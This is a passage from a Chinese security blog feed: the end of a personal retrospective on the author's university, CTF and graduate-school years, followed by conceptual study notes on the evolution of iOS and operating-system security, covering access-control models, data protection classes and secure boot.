title="大三"></a>大三</h2><p>从大三开始，各自的选择将引向不同的道路。（考研、保研、出国、工作……）</p><p>大二的时候知道了网管会的存在，在看到donot在网管会中混的风生水起，我也决定进入网管会学习网络知识。大二下学期开始刷着思科CCNA的四本书懵懵懂懂的入门了，虽然大多数路由器交换机的知识都已经忘的差不多了，但其中的子网划分，路由器和交换机的工作原理仍然存在我的脑海之中，同时这四本书的学习让我之后学习计算机网络时显得十分得心应手。大二下学期的基础知识学习，学长带着出去检修网络，熟悉测线器等网络检修工具使用，到大三上自己能一个人独当一面的去处理宿舍的网络问题，这是一段难忘的经历。我熟悉了学校网络的拓扑结构，真正的把课堂中的理论知识与生活实际结合在一起。当然也解锁了自己的一个成就——光明正大进入女生宿舍！（我可不是为了进女生宿舍才来网管会哈！！！）</p><p>第一次去参加了CTF的线下决赛是在武汉大学，当时是铁人三项的总决赛，我和另外一个学长一起做流量分析题。面对接近20G的流量包，有点绝望，流量分析题比的就是耐心和经验，最后勉强做了一大半的题目。在临近比赛的时候我们王某人老师搞来了流量题的比赛答案，说实话当时的内心很是纠结，毕竟我们当时的分就在二等奖三等奖的边界，象征性的抄了几个答案上去，但自身对于技术那份纯粹的心阻止了继续抄答案的行为，最终我们只拿了总决赛的三等奖。现在回看这里的选择，二等奖和三等奖其实没啥区别，但我至少保住了技术人最后的尊严，应当尊重他人的实力和努力，如果让我再选一次，我依旧是同样的选择。</p><p>本来在大一大二时的考虑是直接本科毕业就去工作，但在家人一致劝说的情况下开始考虑读研的事情。由于一开始没有保研的打算，导致我的绩点不高，可以直接pass保研的路了。如果真要去读研就只能考研了，当时权衡利弊如果我本科能找到大厂的好岗位，那就直接去工作；如果不能找到好岗位，那么本科的劣势就会很大。综合考虑之后觉得我自身现有技能水平无法找到一个很好的工作，于是开始准备考研的事情。但是光决定考研，还需要确定要考哪里？考研和高考不一样，只能选择一所学校报名，而不是像高考一样的先考试，出分后根据分数选择。多方咨询之后得知了信工所，我的两个学长都去了那里，再加上是专门做安全的研究所，外加中科院的光环，逼格拉满了，比泥电的安全不知道好多少（我不知道为什么泥电的信息安全为啥总能排在全国前列，很是迷惑）。在加上王道论坛上的信工所各研究室介绍非常详细，网上信息+熟人信息对我非常有利，于是乎，信工所成为了我考研的目标。</p><p>在决定要去信工所读研之后，开始布局整个考研的规划。从大三下开始，我们将有一段实习，这段实习我准备去信工所，这样也是为了之后考研复试做准备，提前熟悉研究所的环境，了解内部的具体情况，方便之后读研的导师选择。在实习阶段，开始准备考研的内容（虽然最后也没准备太多东西），到了大四上学期集中学习考研内容，冲刺到12月底。于是，我在大三上学期的末尾正式开启了6个月的信工所实习之路，在2018年1月来到了北京，住在“我的宿舍”中。</p><p>大三下学期在信工所六室实习的过程中，遇见了很多大佬，在此之前我一直以为自己还算是比较努力的人，但在看到大佬们的作息之后才意识到，优秀的人都是这么专注，废寝忘食般的学习，我之前的努力看起来就像是小打小闹。有一句流传甚远的话：“比你有天赋的人，还比你更加努力”，这就是我最直观的感受。在这之后，我开始端正自己的学习态度，在没努力到拼天赋的情况下继续加油。</p><h2 id="大四"><a href="#大四" class="headerlink" title="大四"></a>大四</h2><p>风云变幻的大四，每个人都有了自己的归宿。</p><p>大四上学期几乎没有课程，我开始了最后4个月的考研冲刺，当时的策略是英语和政治过及格线，数学和专业争取拿更高分。因此，我的英语全靠一个补习班撑住，连题都没刷，只背了一个英语作文模板，没想到最后差点没过（考试42分，及格线39分）；政治报了一个学校内的大班，再加上自己在B站学习徐涛的网课，最后冲刺肖四肖八网上总结模板。就这样的情况下，挤出了一个多月学习数学和一个月的时间学专业课，整个过程梦回高三，除了学习就是睡觉，而我学习的地点正好在网管会办公室，这个得天独厚的宝地，几乎没人占座，声音也不大，非常适合考研。</p><p>在度过了漫长的初试，时间来到了第二年大四下学期，我继续去了信工所开始为最后的复试做准备，然而在实习的过程中慢慢发现情况有点不太对劲，本来准备去六室G2，结果竞争者过多十分惨烈，当时实习的人就有好几个，但猜测名额只有几个，十分紧张。初试成绩出来之后，我前面的一个哥们，总分没过线。。我看着自己的英语低分飘过，真的是惊险。怀着忐忑的心情继续到了下一阶段，等着我的却是整个六室只有一名额的悲惨事实。我的脑袋先是一懵，随后开始了高速运转，锁定接下来的目标，因为我个人能力更偏向安全测试，所以首先排除了国重（偏理论，且ck组很难进），二室（偏工程），三室（机器学习），最终在四室和五室中选择。</p><p>当时我虽然学的是web安全，但有一种想要转型的想法，毕竟学web安全的人太多了，我学的也不是特别精进，没有办法体现自身的优势，要从web转二进制，比较容易的道路就是IoT安全方向，其中夹杂着web和二进制的内容，这样我原来学习的内容也能用上，基于这样的想法最终选择了四室的物联网实验室。随后的就是邮件联系，没想到的是我居然被三巨头提前面试，然后被孙老板成功收留。（毕业生客观的来看，这个选择还算将就，从中学习到了知识，也获得了我想要的能力，虽然过程很艰辛就是了）</p><p>到了大四的收尾的阶段，我成功的考研上岸获得了录取通知书，身边的朋友同学也陆陆续续的决定了保研、出国、工作，久违的轻松感萦绕在我的身心，感觉又回到了大一。最后的毕设因为种种原因，写了一个垃圾的web系统就混过去了，刘桥老师也没喷我，还好没遇上翔哥，不然我觉得会被往死里喷。毕业答辩之后的日子里，大家一起天天吃吃喝喝，就这样潇洒了大半个月，到了分别的时候也没有想象中的悲伤，收拾好自己的行李，将剩下的书本留给学弟学妹，我就这样离开了成电。</p><p>最后分享一篇当时看到的震撼心灵的文章，来自2014级的一位学长。<a href="https://mp.weixin.qq.com/s/oLYrnTWSy0ojM8TMg46PzQ" target="_blank" rel="noopener">《李令成：致学弟学妹 | 达人Show》</a></p><h2 id="研一"><a href="#研一" class="headerlink" title="研一"></a>研一</h2><p>模拟or“水”龙头？IIE全都要！！！</p><p>还没入学我们就被IIE上了一课，系统中的单人间，过了段时间直接蒸发，IIE喜获模拟所称号，学生的反抗微不足道，但也因此留下了年级群，为后续整个年级的信息交流提供了环境，任何时候有一个打通所有人的沟通渠道是十分重要的事情。入学第一天，所长和副所长讲话提到，我们所是龙头所，输出价值几个亿的工程项目，我内心OS：龙头所？水龙头！🚰。IIE中的廉价工坊，只有受苦的学生，现在想想真是苦逼，为了那几个小钱1k、2k，要做这么多垃圾工程项目，还不准实习，实在是不爽呀。</p><p>雁栖湖的生活十分的不同，周围没有商业街，去最近的万达广场要10公里，交通只有小黑车和长途公交。为了珍惜玩耍时间，我和室友有一次去连看两场电影，外加吃了一顿豪华刷肉火锅，吃好玩好才慢悠悠的回到学校。在这些快乐的时光之外，是被大作业支配的恐惧，在大作业集中的时间段几乎没有休息的时间，周一到周日都在无休止的查资料和写作业，有些课程还是上课拧螺丝，下课造火箭，要做个作业查一顿资料。。。虽然这样锻炼了信息收集和快速学习能力，但还是要吐槽。</p><p>上半年结束之后，来到2020年，这个世界转折之年。从这一年开始，一切都变了，疫情成为了一座跨不过的大山，旅游业、电影、航空等行业迎来了灭顶之灾，线下实体行业也受到不同程度的重创，真是怀念过去那样自由自在的生活。疫情的发生，让我们整个学期都没办法去学校，线上课程开始成为日常。那段时间由于在家里学习，我的整个效率变得非常低下，虽然没选很多课程，但最后留给自己的学习时间却没有很多。同时我有一个遗憾，那就是没有趁着疫情的时间去找实习，那段时间简直是黄金实习点，我应该随便找个成都本地的安全企业，边打工边上课，又能学习知识，又能赚钱还不耽误上课。错过了这个实习机会点之后，我再也没办法找机会去实习了（除了线上）。呜呜呜~</p><h2 id="研二"><a href="#研二" class="headerlink" title="研二"></a>研二</h2><p>研究生 != 高级本科生，研究生 ≈ 社畜。</p><p>研二的开始，我们正式回到研究所，开启了为所打工的序幕。我开始接手一些辣鸡项目，比如某PLC攻击的项目，听起来似乎很高端，然而结果却是模拟发包，没有技术含量，就这个破项目一直拖拖拉拉做了快半年。我开始为之后的未来焦虑，我现在做这些东西并不能为之后的找工作提供帮助，需要一些重量级内容来支撑我的简历。就在这时ck师兄出现了，跟着他一起学习了很多东西，为了消化他的代码我花了快3个月的时间，最后和川爷一起也只理解了大部分内容。十分庆幸，这个项目几乎成为之后秋招的基础，我当时的决策十分果断正确，尝试复杂困难有挑战的事情，能让人获得快速的成长。</p><p>在研二下学期见证了师兄们为了毕业做出的努力，有好几个师兄都是睡在实验室一直赶工，看到了大家为了赶最后的ddl几乎都是熬夜爆肝，这就是学术圈的日常吧。某师兄一开始导师不让毕业，交涉多次拿出小孩和家庭才让导师让步；某师兄的论文几乎到了快要延毕的边缘才中，最后免于延毕；某师兄眼看着要毕业了，被某sb老师打了中，结果延毕。人生起起伏伏，在早期遇到困难要勇敢面对，或许也是人生的福气，打不倒你的会让你变得更强，那位延毕的师兄也因此免受互联网裁员风波。其中的一位同组师兄毕业时送了我一句话：一定要好好学习，抓紧时间学习，以后学习的时间将会越来越少，你的生活将被琐碎占据大半。</p><p>研二最后的时间也就是为秋招做最后的准备，为了找到工作之前就一直在收集安全岗位的信息，IoT安全相关岗位属实太少了，最后也只有10家左右的企业可以投。明确目标之后，开始制定了整体复习思路，首先是安全相关的基础知识，随后是安全相关漏洞的利用，防御以及绕过，最后是自己的项目和漏洞实战经历，详细可以参考<a href="https://hurricane618.me/2021/12/08/2021-autunm-recruitment-summary/">我过去的博客</a>。由于研究所压榨的太狠，再加上开题时间晚，最后准备的时间不足两个月，这个时候就体现出过去的技术积累的重要性，我很庆幸之前一直保持着学习的状态。</p><h2 id="研三"><a href="#研三" class="headerlink" title="研三"></a>研三</h2><p>一波三折后遇见彩虹🌈，再见了我的学生时代。</p><p>研三的开始即给2021秋招拉开序幕，我的mac日历中记录着那时疯狂的面试时间表，一周面个4-5次都是正常的情况，有时候一天最多3场面试。刚开始面试的时候还非常的不自信，感觉自己没人要，但在经过一些小厂面试之后发现自己似乎还可以，最搞笑的是某个小厂的面试官反过来向我请教问题🤣。要说遗憾也是有的，我在面试完深信服之后，没想到还有个加面环节，过了加面环节之后，约了hr面结果忘记了，导致这个offer最后没有拿到，本来还想看看有加面的offer开多少价位呢（凡尔赛）。面试过程中也有糟心的事情发生，那就是孙老板，孙老板自从发现我在工作时间段偷偷面试之后，就开始定时抽查我的在位情况，一旦发现我不在工位并且电脑也消失不见，就开始微信电话警告⚠️，我有两三次面试就因为这样，弄得面试官和我都十分的尴尬。</p><p>当时间来到了2022的秋招，我才猛的发现，之前我嫌弃的一些offer在今年显得尤为宝贵，诸多大厂几乎不招或者少量招，去年还有口号：有鹅选鹅，无鹅延毕。要是真延毕，今年怕是直接命丧黄泉，换做是我心态直接崩了。我是幸运的，躲过了今年的寒潮，不知道去年是否是互联网最后的辉煌？我也意识到连锁反应的可怕，如果我本科考研第一次没有成功，那么接下来迎接我的就是二战，如果二战成功上岸，那么今年的寒潮也会让我尸骨无存。</p><p>度过了艰难（相比2022不算难）的秋招之后，时间来到了12月，我的毕业设计几乎没怎么动。。。都把时间投入到找工作当中了，当时的我为了拼命肝毕设，开始学习师兄们睡实验室的精神，在实验室里差不多睡了快3个月，就这样一直到3月底才把悬着的心放下来。中间的心酸实在说不完，我第一次中期答辩没过，搞得我压力很大，只能抓紧时间继续丰富毕业设计的内容。毕设实现过程中压力大的想哭，只能自己独自抗下，当最后终于完成的时候，才发现自己已经走了很长一段路。最后说一句公道的话，我导师不让我第一次中期答辩通过，确实是保护了我，让我最终顺利通过答辩（甚至还被评委老师点名表扬，震惊！）。</p><p>5月8号答辩完毕，再稍作修改，交完毕业材料，开始了我的摸鱼生活。我当时为了奖励自己，给自己规划了一套1w的DIY电脑，从选购到最后组装，我的电脑技能得到增强，第一次组装了一台小机箱电脑，内部空间几乎全部占满，体会到了攒机的快乐。然而毕业的休闲时光因为疫情充满着无奈，当时5月8号答辩完之后，北京的疫情随即爆发，直接在宿舍待了快一个多月，本来想去逛逛北京的博物馆和历史文物，结果到快走之前也只和17一起看了一家，简直难顶。更倒霉的是，我从北京回到成都之后，成都也开始疫情了。。。我又被封了快一个月。。。</p><h2 id="一些反思"><a href="#一些反思" class="headerlink" title="一些反思"></a>一些反思</h2><p>自己努力程度不够导致的一些问题，做到80分的时候就觉得已经足够了，总想着凑合着可以，但这种态度让我失去了一些机会（卓中卓班申请、保研、CTF晋级等）。不能在取得一定成绩之后，就开始松懈，不要忘记一开始的目标。</p><p>一些基础的关键能力，比如英语、沟通表达、阅读能力虽然在这几年中有着一定程度的进步，但仍然需要持续学习提升。基础能力决定一个人到底能走多远。这点对于我的专业能力而言也是一样，我的写代码能力较为一般，这点虽然在安全测试上不会有显著影响，但是对以后去理解他人的程序逻辑、代码审计、逆向分析都有好处。所以之后的几年一定要抽空补补代码基础。</p><p>时间管理能力和精力管理能力，是两个在工作中十分重要的能力，要规划好自己现在手上事情的优先级，并且掌握自己一天精力的情况，在精力最好的时候去处理最难的事情。</p><p>对自己更加自信一点，可以自黑说自己在下水道行业工作，可以说自己菜，但要少说自己不行。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;距离研究生毕业已经过了4个多月，在这个国庆节期间遇见了很多老同学，包括高中和大学同学，感觉到过了这么几年每个人的人生轨迹都发生了翻天覆地的变化，我想也是时候对自己第一个“人生七年”做个总结，想把这些珍贵的内容记录下来，或许多年之后再次回看会别有一番滋味在心头。至于为什么我说
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="人生" scheme="https://hurricane618.me/tags/%E4%BA%BA%E7%94%9F/"/>
    
  </entry>
  
  <entry>
    <title>iOS系统安全框架演进学习</title>
    <link href="https://hurricane618.me/2022/11/18/ios-system-security-framework-study-1/"/>
    <id>https://hurricane618.me/2022/11/18/ios-system-security-framework-study-1/</id>
    <published>2022-11-17T16:42:44.000Z</published>
    <updated>2022-11-17T16:55:29.875Z</updated>
    
    <content type="html"><![CDATA[<p>学习完王铁磊大佬在华为的分享视频，记录总结一些有用的内容。还会根据分享的内容再额外补充一些其他相关内容。</p><h2 id="操作系统的演化与安全发展"><a href="#操作系统的演化与安全发展" class="headerlink" title="操作系统的演化与安全发展"></a>操作系统的演化与安全发展</h2><p>从计算机整体的发展演化方向来看，可以将其安全分为四个阶段：</p><ul><li>1970~1980：基础理论模型阶段</li><li>1980~2000：服务器安全阶段</li><li>2000~2010：个人电脑安全阶段</li><li>2010~2020：移动设备安全阶段</li></ul><p>计算机系统业务的变迁引起威胁模型的变迁，进而引起系统安全研究重点的变迁。</p><h3 id="1970-1980-系统安全理论模型大发展"><a href="#1970-1980-系统安全理论模型大发展" class="headerlink" title="1970~1980 系统安全理论模型大发展"></a>1970~1980 系统安全理论模型大发展</h3><p>从一开始的单片机里的单用户、资源独占，发展到巨型机的分时、资源共享、多用户模式。</p><p>问题：如何管理用户权限、防止越权访问、篡改机密信息？</p><p>经过学术界讨论之后形成了基本共识 安全三要素CIA：</p><ul><li>机密性</li><li>完整性</li><li>可用性</li></ul><p>在此之后，James P.Anderson在<code>Computer Security Technology Planning Study</code>中提出了Reference Monitor的概念，用户的访问需要通过Reference Monitor裁决判断，这种控制模型逐渐演变成了后来的可信理论基础。（类似于法官的存在）</p><p>数据访问控制基本模型：</p><p>D.Bell和L.LaPadula提出BLP模型（数据机密性基本原则）</p><ul><li>在BLP模型下，如果一个系统的初试状态是安全的，那么经过一系列符合规则的状态转换后，该系统还是安全的</li><li>形式化证明了计算机系统可以通过对层级机密信息访问控制约束，确保计算机系统中数据的机密性（人话：如果约束条件足够安全，则访问即为安全）</li></ul><p>Biba模型（数据完整性基本原则）</p><p>BLP和Biba模型奠定了Reference Monitor Policy的理论基础。（类似于法律条文）</p><p>操作系统安全设计基本原则（The Protection of Information in Computer System, 1975）</p><ul><li><strong>Open design 开放设计</strong></li><li><strong>Separation of privilege 权限分离</strong></li><li><strong>Least privilege 最小权限</strong></li><li>Economy of mechanism 经济原则</li><li>Fail-safe defaults 默认失败</li><li>Complete mediation 完全鉴权</li><li>Least common mechanism 最小公共机制</li><li>Psychological acceptability 界面简单易用</li></ul><h3 id="1980-2000-操作系统-服务器快速发展"><a href="#1980-2000-操作系统-服务器快速发展" class="headerlink" title="1980~2000 操作系统/服务器快速发展"></a>1980~2000 操作系统/服务器快速发展</h3><p>服务器市场兴起，通用操作系统快速发展，系统安全在不断探索中形成了基本框架：</p><ul><li>内核与用户态隔离</li><li>用户态进程内存隔离</li><li>实现了以用户用户/群组为主体，文件等资源为客体，读写执行等为粒度的访问控制体系</li></ul><p>两类访问控制</p><ul><li>DAC自主访问控制<ul><li>客体的拥有者（Owner）可以自定义客体访问策略</li></ul></li><li>MAC强制访问控制<ul><li>全局预定义访问策略，拥有者（Owner）也无权修改</li></ul></li></ul><p>整体层级分成 User -&gt; Kernel -&gt; Hardware 三层结构</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">  User Space</span><br><span class="line"></span><br><span class="line">            +-----------------+            +------------------+</span><br><span class="line">            |                 |            |                  |</span><br><span class="line">            |    Process1     |            |    Process2      |</span><br><span class="line">            |                 |            |                  |</span><br><span class="line">            +--------+--------+            +---------+--------+</span><br><span class="line">                     |                               |</span><br><span class="line">                     |                               |</span><br><span class="line">                     |                               |</span><br><span class="line">+--------------------------------------------------------------------------+</span><br><span class="line">                     |                               |</span><br><span class="line">                     |                               |</span><br><span class="line"> Kernel Space        |                               |</span><br><span class="line">                     |                               |</span><br><span class="line">                     v                               v</span><br><span class="line">      +--------------+-------------------------------+-------------+</span><br><span class="line">      |                                                            |</span><br><span class="line">      |                                                            |</span><br><span class="line">      |                                   +--------------------+   |</span><br><span class="line">      |                                   |                    |   |</span><br><span class="line">      |      Kernel                       |                    |   |</span><br><span class="line">      |                                   |       Drivers      |   |</span><br><span class="line">      |                                   |                    |   |</span><br><span class="line">      |                                   +--------------------+   |</span><br><span class="line">      |                                                            |</span><br><span class="line">      +------------------------------------------------------------+</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">+---------------------------------------------------------------------------+</span><br><span class="line"></span><br><span class="line"> Hardware</span><br><span class="line">            +-------------+    +----------------+   +------------------+</span><br><span class="line">            |             |    |                |   |                  |</span><br><span class="line">            |   CPUs      |    |     Memory     |   |     Devices      |</span><br><span class="line">            |             |    |                |   |                  |</span><br><span class="line">            +-------------+    +----------------+   +------------------+</span><br></pre></td></tr></table></figure><p>产生安全威胁的核心原因：<strong>共享！</strong></p><p>基本对策：隔离和控制</p><ul><li>修墙——隔离</li><li>门禁——控制</li></ul><p>安全的副作用：</p><ul><li>效率降低</li><li>易用性下降</li></ul><p><strong>系统安全逐渐成为业务发展的绊脚石</strong></p><p>补充：从这一阶段起，漏洞利用开始登上舞台</p><p>世界上第一个蠕虫 1988年 Morris蠕虫 利用栈溢出传播自己</p><p>phrack杂志（从1985年存活至今）1996年发布第一篇完整的栈溢出攻击指南 <a href="http://phrack.org/issues/49/14.html" target="_blank" rel="noopener">http://phrack.org/issues/49/14.html</a></p><h3 id="2000-2010-个人电脑-互联网大发展"><a href="#2000-2010-个人电脑-互联网大发展" class="headerlink" title="2000~2010 个人电脑/互联网大发展"></a>2000~2010 个人电脑/互联网大发展</h3><p>以Windows/Linux为代表的操作系统快速普及</p><ul><li>基本以自主访问控制为主</li><li>2003年由NSA主导的SELinux才被纳入Linux</li></ul><p>个人计算机系统迎来了安全问题的集中爆发</p><ul><li>混乱的程序分发渠道（xxx软件家园）、毫无安全约束的执行环境（root+无沙箱+无杀毒的裸奔）</li><li>恶意代码三驾马车——病毒、木马、蠕虫</li></ul><p>可信计算组织（TCG）由AMD、惠普、IBM、intel和微软等硬件、软件、服务供应商组成。他们提出了TPM，想打造产业链上的软件硬件的可信环境，思路是在硬件层面提供可信根，用途：可信启动、完整性度量、磁盘加密、密钥管理，但由于商业上的种种利益牵扯，最后草草收场。</p><p>补充：那些年的传奇事件</p><p>2004年 18岁德国少年编写震荡破蠕虫</p><p>2006年 25岁李俊编写的熊猫烧香病毒（他也是武汉男生病毒和QQ尾巴病毒的作者）</p><p>2010年 首个网络武器级别的病毒被发现 震网病毒 目标伊朗核电站 里面包含4个0day</p><h3 id="2010-2020-移动互联网-智能手机大爆发"><a href="#2010-2020-移动互联网-智能手机大爆发" class="headerlink" title="2010~2020 移动互联网/智能手机大爆发"></a>2010~2020 移动互联网/智能手机大爆发</h3><p>目睹了桌面操作系统的乱象后，Apple在iOS系统中开始创新与变革。</p><p>问题：如何根治PC时代的毒瘤？</p><p>iOS初期安全建设三驾马车</p><ul><li>可信启动 -&gt; 确保内核启动完整性，且不可降级</li><li>App Store + 强制代码签名 -&gt; 垄断App分发渠道（通过技术手段巩固地位）</li><li>应用沙盒 -&gt; 限制App能力</li></ul><p>结果：恶意代码基本消失，软件开发者的权益得到一定保障，生态逐渐繁荣</p><p><strong>系统安全建设成为Apple生态的基石</strong></p><p>新安全需求不断涌现：移动设备承载了大量个人数据，遗失问题成为用户痛点，如何保障遗失手机的数据安全？（隐私问题开始出现）</p><p>iOS4的数据层级保护，分成A、B、C、D四类密钥管理，实现数据的严格保护。</p><table><thead><tr><th>Class</th><th>Description</th></tr></thead><tbody><tr><td>A（256bit AES）</td><td>只有解锁状态才能使用</td></tr><tr><td>B（Curve 25519）</td><td>公钥一直可用，私钥只能解锁状态使用</td></tr><tr><td>C（256bit AES）</td><td>启动后用户至少解锁手机一次才可使用</td></tr><tr><td>D（256bit AES）</td><td>一直可用</td></tr></tbody></table><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">+-------------------+                            +----------------------+</span><br><span class="line">|                   |                            |                      |</span><br><span class="line">|                   +---------------------------&gt;+    File System Key   |</span><br><span class="line">|  Hardware Key     |                            |                      |</span><br><span class="line">|                   |                            +----------+-----------+</span><br><span class="line">|                   |                                       |</span><br><span class="line">|                   |    +------------------+    +----------v-----------+     +-------------------+</span><br><span class="line">|                   +---&gt;+                P |    |                    P |     |                 P |</span><br><span class="line">+-------------------+    |                  |    |    File Metadata     |     |                   |</span><br><span class="line">                         |   Class Key      +---&gt;+   +---------------+  +----&gt;+                   |</span><br><span class="line">+-------------------+    |                  |    |   |               |  |     |   File Contents   |</span><br><span class="line">|                   +---&gt;+                  |    |   | File Key      |  |     |                   |</span><br><span class="line">|                   |    |                  |    |   +---------------+  |     |                   |</span><br><span class="line">|  Passcode Key     |    +------------------+    +----------------------+     +-------------------+</span><br><span class="line">|                   |</span><br><span class="line">+-------------------+</span><br></pre></td></tr></table></figure><p>在创建文件时会随机生成File Key，File Key保护文件内容。<br>上面四类Class Key保护文件的File Key。<br>Class Key被硬件Key和一个Passcode Key同时保护。<br>File System Key保护File Metadata（文件头以及加密后的File key）。</p><p>File System Key没有受到保护，但它存在的意义是什么？苹果比较取巧的通过File System Key来标记文件是否存在，消除数据时直接删key就行。</p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><table><thead><tr><th>时间</th><th>阶段</th><th>典型安全需求</th><th>典型研究成果/实践</th></tr></thead><tbody><tr><td>1970-1980</td><td>OS基础理论模型大发展</td><td>计算机能否在军事领域应用</td><td>CIA三元组、Reference Monitor概念、BLP和Biba模型</td></tr><tr><td>1980-2000</td><td>服务器时代</td><td>多用户隔离</td><td>用户态内核态层级隔离、强制/自主访问控制</td></tr><tr><td>2000-2010</td><td>个人电脑时代</td><td>恶意代码</td><td>虚拟机、可信计算</td></tr><tr><td>2010-2020</td><td>移动设备时代</td><td>隐私与数据保护</td><td>应用沙盒、数据层级保护</td></tr></tbody></table><p>从苹果的例子中能够发现，好的安全架构是能够带动业务增长。</p><h2 id="阴云不散的幽灵——漏洞"><a href="#阴云不散的幽灵——漏洞" class="headerlink" title="阴云不散的幽灵——漏洞"></a>阴云不散的幽灵——漏洞</h2><p>以为漏洞只是打个patch而已，但没想到成为整个行业的痛点。漏洞指信息系统在设计、实现、部署、管理等环节中的缺陷，被攻击利用后可导致信息系统违背原有安全策略。</p><p>利用网络服务组件中的漏洞，攻击者可以轻易远程获取计算机设备的控制权。墙上的小洞，让攻击者具备穿墙术，隔离+控制的基本安全框架受到严峻挑战。</p><p>漏洞成因广泛，形态复杂，利用手段多样。</p><p>软件：</p><ul><li>内存安全漏洞 70%</li><li>逻辑类型及其他 30%</li></ul><p>硬件：</p><ul><li>Rowhammer</li><li>Meltdown</li></ul><p>思考：SoC是硬件漏洞？软件漏洞？如果定位为软件漏洞，但它是固化在芯片中，无法通过升级解决问题</p><p>内存安全漏洞：uaf、类型混淆、溢出写、越界读、未初始化等。构造操作原语：</p><ul><li>非法读</li><li>非法写</li><li>非法执行</li></ul><p>这三者还能互相转换，最后构造出破坏安全策略的恶意利用。</p><p>现在大部分还存在多层隔离，最小化信任边界、拉长漏洞攻击链。</p><p>比如现在要完成一个RCE漏洞利用：某程序内部RCE+沙箱逃逸+权限提升+信息泄露。</p><p>利用漏洞突破iOS防护成为新威胁：</p><ul><li>BootRom漏洞加载定制化的内核，直接打破iOS硬件可信链</li><li>越狱直接威胁App Store垄断地位</li><li>逃过沙盒窃取用户隐私</li></ul><p>整个行业在焦虑漏洞治理方面的问题：</p><ul><li>如何在新软件开发过程中消除漏洞？运用新的语言机制例如苹果Swift和安卓Kotlin</li><li>如何在现有软件代码中发现漏洞？动态fuzz，静态代码分析，人工审计</li><li>如何在代码编译阶段增强代码安全性？最经典的canary，以及llvm模块</li><li>如何在软件运行阶段阻断漏洞利用？更好的内存管理方案，使得漏洞被触发也难以利用</li><li>如何降低软件被攻击后给整个系统带来的破坏？有效的隔离方案</li></ul><h2 id="iOS安全架构演化过程"><a href="#iOS安全架构演化过程" class="headerlink" title="iOS安全架构演化过程"></a>iOS安全架构演化过程</h2><h3 id="早期阶段"><a href="#早期阶段" class="headerlink" title="早期阶段"></a>早期阶段</h3><p>防御机制</p><ul><li>可信启动</li><li>代码签名</li><li>数据层级保护</li><li>ASLR和KASLR</li><li>SEP（用于密钥管理的专用芯片处理器，自带SEPROM）</li><li>KPP（保证内核运行时完整性）</li><li>……</li></ul><p>苹果在早期的防御基础上做了更进一步的安全加固 </p><p>参考blackhat <a href="https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf" target="_blank" rel="noopener">https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf</a></p><p>参考 苹果安全白皮书</p><h3 id="更安全的可信启动"><a href="#更安全的可信启动" class="headerlink" title="更安全的可信启动"></a>更安全的可信启动</h3><p>安全启动属于从源头上防守。在原有可信启动的基础上进一步加强。</p><p><strong>减少攻击面：在第一次解锁之前禁止使用usb</strong></p><p>开机第一次解锁之前，USB接口停用（不允许任何USB交互，包括充电）</p><p>影响：虽然降低了用户体验，但封杀了一个很大的攻击面（GreyShift 解锁11.3之前系统的漏洞）</p><p><strong>启动过程中安全编译选项拉满，保证启动程序不出内存问题</strong></p><p>BootROM作为根基依次验证下一环节的签名，大概的启动流程分为两个层次：</p><img src="/2022/11/18/ios-system-security-framework-study-1/1.png"><p>（1）AP（32位系统）</p><p>从SecureROM开始为根基，去验证LLB/iBoot，LLB/iBoot验证iOS内核，iOS内核再去验证用户态程序。</p><p>（2）SEP（64位系统）</p><p>SEP处理器拥有独立的安全启动链</p><p>自从iOS14开始，苹果在A13芯片（iPhone11）之后的机型上，使用增强编译组件，确保iBoot中没有内存漏洞。代价则是启动的性能。</p><img src="/2022/11/18/ios-system-security-framework-study-1/2.png"><ul><li>SEPOS基于L4微内核</li><li>独立的AES和随机数引擎</li><li>独立I2C Bus</li><li>实时内存加密</li></ul><p>完全不信任AP侧的数据，因此设计出了Memory Protection Engine，功能十分强大。写入AP侧共享内存中的数据会被加密，并且有完整性校验，只有SEP侧可以解密。AP侧如果修改了这段内存中的数据，导致之后的完整性检验失败，内核会直接panic。</p><p>补充：</p><p>盘古大佬 blackhat上研究苹果的可信启动 <a href="https://raw.githubusercontent.com/windknown/presentations/master/Attack_Secure_Boot_of_SEP.pdf" target="_blank" rel="noopener">https://raw.githubusercontent.com/windknown/presentations/master/Attack_Secure_Boot_of_SEP.pdf</a></p><p>在上面的blackhat链接中介绍了苹果新一代的T2安全芯片，以及最新的安全启动流程。看样子是mac电脑的安全启动，不知道手机会不会借鉴这个流程。</p><img src="/2022/11/18/ios-system-security-framework-study-1/3.png"><h3 id="KTRR和APRR"><a href="#KTRR和APRR" class="headerlink" title="KTRR和APRR"></a>KTRR和APRR</h3><p>KTRR和ATRR属于自底向上的防守，为了解决KPP的缺点。</p><p><strong>KPP（Kernel Patch 